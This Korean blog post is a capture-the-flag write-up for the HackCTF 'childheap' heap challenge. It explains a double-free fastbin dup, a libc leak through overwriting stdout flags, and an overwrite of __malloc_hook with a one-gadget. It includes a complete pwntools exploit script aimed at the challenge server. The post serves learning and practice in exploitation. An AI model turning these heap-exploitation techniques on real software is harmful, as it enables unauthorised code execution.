Pwnstar

hackctf childheap 본문

Wargame/HackCTF

hackctf childheap

포너블처돌이 2021. 1. 26. 01:07

너무 오랬동안 문제를 안풀어서 오랜만에 워게임 문제도 풀 겸해서 핵시텦 포너블 남은 문제 중 하나를 풀어봤는데, 역시 너무 오랜만에 그것도 힙 문제를 풀어서 그런지 라업 도움을 좀 받았다. 라업 보고 보길 잘했다는 생각이 든게, libc 릭을 할 방법을 도저히 못찾아서 라업을 본거였는데 이거는 한달 잡아도 못풀었을듯 새로운 방법을 알게되서 좋았다.

문제는 상당히 심플하다. 메뉴엔 malloc과 free 딱 두가지만 존재하고, double free bug가 발생하고 fastbin dup 취약점이 터지는 걸 알 수 있다.

요 문제는 상당히 자세히 설명해 놓은 분들이 많아서 자세한 설명이 필요하신 분들은 맨 아래에 적어놓을테니 그 곳에서 보는 것을 추천한다.

 

exploit 시나리오

1. 0x80만큼의 malloc을 하고 double free시키면 그 fd와 bk의 부분에는 main_arena+88의 주소가 들어가게 된다.

2. 이 주소의 하위 2바이트를 stdout - 0x43의 주소로 덮어야하는데 해당 주소의 하위 2바이트의 주소는 0x?5dd이며, ?는 알 수 없으므로 숫자 하나를 잡아서 돌리다가 맞길 기도해야 한다.

3. 이후 malloc을 총 네번 진행시키게 되면 마지막에 malloc하는 곳은 stdout-0x33의 위치에 값을 넣을 수 있음.

여기서  

rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak

 

stdout flag를 이용한 libc leak

stdout flag값을 변경하여 libc주소를 leak하는 방법을 정리하였다 따로 libc주소를 leak할 방법이 없을 때 유용하게 쓰일 것 같당ㅎㅎ 관련 문제 : [HackCTF/Pwnable] ChildHeap stdout을 이용한 libc주소 leak &..

rninche01.tistory.com

요 블로그 보는 것을 추천함 보면 이해는 잘 가는데, 그래도 스스로 한 번 더 정리를 해봐야 머릿속에 오래 남을 것 같다. 그건 내일...

4. 이렇게 libc leak을 진행하고, malloc_hook을 원샷 가젯으로 덮어주면 된다.

 

ex.py

from pwn import*


while(1):
	#p = process("./childheap")
	p = remote("ctf.j0n9hyun.xyz", 3033)
	e = ELF("./childheap")
	libc = e.libc
	stdout_off = libc.symbols['_IO_2_1_stdout_']
	hook_off = libc.symbols['__malloc_hook']
	script = '''
	b*0x0000000000400AE8
	b*0x0000000000400A82
	'''
	#gdb.attach(p, script)

	def mal(idx, size, content):
		p.sendlineafter("> ", "1")
		p.sendlineafter(": ", str(idx))
		p.sendlineafter(": ", str(size))
		p.sendafter(": ", content)


	def free(idx):
		p.sendlineafter("> ", "2")
		p.sendlineafter(": ", str(idx))

	mal(0, 0x60, "A"*0x20)
	mal(1, 0x80, "B"*0x20)
	mal(2, 0x60, "C"*0x20)

	free(1)
	log.info("free done")


	mal(1, 0x60, p16(0x25dd))
	mal(3, 0x60, "E"*0x8)

	free(3)
	free(0)
	free(3)
	
	mal(0, 0x60, p8(0x70))
	mal(1, 0x60, "F"*0x8)
	mal(2, 0x60, "G"*0x8)
	mal(3, 0x60, "H"*0x8)

	try:
		payload = p64(0xfbad1800)
		payload += "\x00"*25
		mal(4, 0x60, "Z"*3 + p64(0)*6 + payload)
	except:
		p.close()
		continue

	
	p.recv(0x40)
	
	libc_base = u64(p.recv(6) + "\x00"*2) + 0x20 - stdout_off
	log.info("libc base = " + hex(libc_base))
	
	mal(0, 0x60, "I"*0x8)
	mal(1, 0x60, "J"*0x8)

	free(0)
	free(1)
	free(0)

	mal(0, 0x60, p64(libc_base + hook_off-0x13))
	mal(1, 0x60, "K"*0x8)
	mal(2, 0x60, "L"*0x8)
	mal(3, 0x60, "A"*3 + p64(libc_base + 0xf1147))
	
	p.sendlineafter("> ", "1")
	p.sendlineafter(": ", "1")
	p.sendlineafter(": ", "1")
	
	
	p.interactive()

 

원래는 puts라든가 다른 주소를 덮어주고 싶었는데...

왜인지 모르게 덮히지가 않는다 방식은 같은데 말이지...

leak만 할줄 알게 된다면 금방 풀 수 있을듯하다.

 

참고


rninche01.tistory.com/entry/HackCTFPwnable-ChildHeap#recentComments

 

[HackCTF/Pwnable] ChildHeap

stdout을 이용한 libc주소 leak & fastbin dup 1. 문제 nc ctf.j0n9hyun.xyz 3033 1) mitigation 확인 2) 문제 확인 3) 코드 흐름 확인 3-1) main() int __cdecl __noreturn main(int argc, const char **argv..

rninche01.tistory.com

wogh8732.tistory.com/168

 

[HackCTF] childheap

[HackCTF] childheap Date @Feb 03, 2020 Tags report 1. 문제 1) mitigation 확인 카나리, NX 가 걸려있다. PIE는 안걸려있다. 2) 문제 확인 1번을 선택하여 원하는 인덱스에 malloc으로 content를 삽입 가능하다..

wogh8732.tistory.com

 

'Wargame > HackCTF' 카테고리의 다른 글

hackctf 훈폰정음  (0) 2021.02.02
HackCTF 풍수지리설  (0) 2020.07.22
HackCTF pwning  (0) 2020.07.20
HackCTF Unexploitable #3  (0) 2020.06.29
HackCTF j0n9hyun's secret  (0) 2020.06.29
Comments